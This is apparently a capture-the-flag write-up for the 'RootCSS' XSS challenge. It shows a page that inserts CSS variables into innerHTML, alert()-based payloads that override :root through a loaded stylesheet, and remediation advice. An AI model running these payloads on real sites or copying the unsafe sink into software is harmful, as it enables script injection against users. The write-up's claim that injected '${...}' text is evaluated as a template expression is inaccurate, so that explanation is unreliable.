Featured image of post RootCSS - DOJO n°25

RootCSS - DOJO n°25

📜 Description

The purpose of this challenge is to use CSS code to manipulate the page to execute an Cross Site Scripting (XSS) that you created.

The challenge allows us to load an external CSS file.

Source Code:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<!DOCTYPE html>
<html>
<head>
    <link rel="stylesheet" href="https://$URL/style.css">
</head>
<body>
<style>
    :root {
        --hacker: A person dressed in a black hoodie along with a laptop;
        --developer: A person who yells at their code to make things work;
        --bug: "It's a feature";
    }
</style>

<div id="btn">
    <button onclick="Description('--hacker')">Hacker&#129399;</button>
    <button onclick="Description('--developer')">Developer&#x1F4BE;</button>
    <button onclick="Description('--bug')">Bug&#128126;</button>
    <p id="desc"></p>
</div>

<script>
    function Description(typ) {
        let style_element = getComputedStyle(document.body);
        let txt = style_element.getPropertyValue(typ);
        
        document.getElementById('desc').innerHTML = `[<b style="color:lightgreen">+</b>] <i>${txt}&#x2757;</i>`;
    }

</script>

<!-- Design only, not a part of the challenge -->
<style>
body {background-position: center;background-repeat: no-repeat;background-size: cover;background-color: #0a0a0a;
background-image: url("https://media3.giphy.com/media/YnexM9LwlwGu4Z1QnS/giphy.gif");}#btn { position: absolute; transform: translate(-50%,-50%); 
left: 50%; top: 50%;    }    #btn button  { background-color: #111111; border: 2px solid  rgb(64,224, 208); 
color: #fff; padding: 12px 38px; text-align: center; font-size: 16px; margin: 8px 4px; border-radius: 34px; 
cursor: pointer; box-shadow: 0 5px rgb(60,170, 200, 0.8);    }    #btn button:hover { box-shadow: 0 3px rgb(60,170, 200, 0.8); 
transform: translateY(4px);    }    #btn button:active { border: 2px solid #fff;    }    #btn p { position: absolute; color: #fff;    }
</style>
</body>
</html>

Source code review

1
2
3
4
5
6
7
<style>
    :root {
        --hacker: A person dressed in a black hoodie along with a laptop;
        --developer: A person who yells at their code to make things work;
        --bug: "It's a feature";
    }
</style>

The :root selector is a special CSS selector that allows you to define global CSS variables for a web page.

1
2
3
4
5
6
7
8
9
<script>
    function Description(typ) {
        let style_element = getComputedStyle(document.body);
        let txt = style_element.getPropertyValue(typ);
        
        document.getElementById('desc').innerHTML = `[<b style="color:lightgreen">+</b>] <i>${txt}&#x2757;</i>`;
    }

</script>

We have three buttons that respectively call the Description function with parameters —hacker, —developer, or —bug.

The Description function retrieves the description of the associated parameters from the DOM (:root) and stores it in the txt variable.

Then it appends it to the innerHTML of the ‘desc’ tag using template literals (${txt}).

🕵️ Proof of Concept

If a input is reflected inside template literals you can embed JS expressions using ${ ... }

Here’s an example with ${<img src=x onerror=alert()>}:

1
document.getElementById('desc').innerHTML = `[<b style="color:lightgreen">+</b>] <i>${<img src=x onerror=alert()>}&#x2757;</i>`;

So, if we can control the description of each attribute of the :root tag, we will be able to execute JavaScript using the JavaScript template ${txt}.

How to overwrite :root tag ?

It is not possible to “overwrite” the :root tag, but it is possible to override it.

There are two ways to achieve this. The first one is by using the !important declaration.

1
2
3
4
5
:root { 
			--hacker: <img src=x onerror=alert('owned')> !important;
			--bug: <img src=x onerror=alert("owned")> !important;
		  --developer: <img src=x onerror=alert("owned")> !important;  
}

In CSS, the !important declaration is used to give a specific CSS rule the highest priority, overriding any other conflicting styles. When applied to an attribute in the :root selector, an attribute with !important will take precedence over an attribute without it.

The second way is to declare a under tag :root on :root.

1
2
3
4
5
:root:root { 
			--hacker: <img src=x onerror=alert('owned')>:
			--bug: <img src=x onerror=alert("owned")>;
		  --developer: <img src=x onerror=alert("owned")>;  
}

The reason why :root:root is prioritized over :root is because :root:root is more specific in its targeting. When two selectors have the same specificity, the last selector in the stylesheet takes precedence.

The two different ways would result in the following when any of the three buttons is clicked:

image

🔐 Remediation

To protect against XSS attacks when using JavaScript template ${} syntax, you can take the following measures:

  1. Sanitize input: Use a sanitization function to remove or escape any special characters that could be interpreted as HTML or JavaScript code. This ensures that user input is treated as plain text rather than executable code.
  2. Validate and filter input: Implement server-side input validation to ensure that only expected values are accepted. Apply appropriate filters to reject or sanitize any potentially malicious or incorrect input.
  3. Implement Content Security Policy (CSP): Set up a proper Content Security Policy on your web server to restrict allowed content sources and prevent the execution of unauthorized scripts.

To prevent CSS override injection, you can implement the following measures:

  1. Escape User-Generated Content: When displaying user-generated content that may contain CSS, properly escape and sanitize the content to prevent any unintended execution of CSS code. Use appropriate encoding techniques or libraries specific to the output context (HTML, CSS, etc.).
  2. Limit CSS File Inclusion: Only allow the inclusion of CSS files from trusted sources. Avoid dynamically generating URLs or allowing arbitrary file inclusion based on user input.

Conclusion

The challenge was really interesting as it demonstrated the priority of CSS selectors and the ability to override existing styles. It also highlighted the potential security vulnerabilities when using JavaScript templates ${}.

Thanks to the author for this awesome challenge!